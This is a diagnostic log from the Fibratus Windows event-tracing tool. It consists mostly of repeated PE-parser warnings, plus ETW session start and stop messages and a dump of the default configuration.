+time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:59:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:59:37+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:59:37+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:59:38+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:00:42+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T15:00:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T15:00:42+01:00 level=info msg=bootstrapping with pid 6412. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T15:00:42+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>false] mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + kstream ........................ [ enable-mem=>true enable-vamap=>true enable-handle=>false enable-thread=>true flush-interval=>1s buffer-size=>512 enable-registry=>true blacklist=>[ events=>[] images=>[]] enable-net=>true min-buffers=>16 stack-enrichment=>true enable-image=>true enable-audit-api=>true max-buffers=>36 enable-dns=>true enable-fileio=>true] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 level=>info log-stdout=>true formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] timeout=>5s trace-log=>false sniff=>false healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 healthcheck-interval=>10s enabled=>false template-name=>fibratus flush-period=>1s index-name=>fibratus gzip-compression=>false] console=>[ format=>pretty enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ timeout=>5s exchange-type=>topic durable=>false tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus passive=>false exchange=>fibratus] http=>[ enable-gzip=>false method=>POST enabled=>false timeout=>5s endpoints=>[] serializer=>json tls-insecure-skip-verify=>false]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false kparams=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ alert-template=>[] fastscan=>true excluded-files=>[] excluded-procs=>[] skip-files=>true scan-timeout=>10s alert-via=>mail enabled=>false] source=bootstrap/bootstrap.go:183 +time=2025-11-11T15:00:43+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T15:00:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T15:00:45+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T15:00:45+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T15:00:45+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T15:00:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:00:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 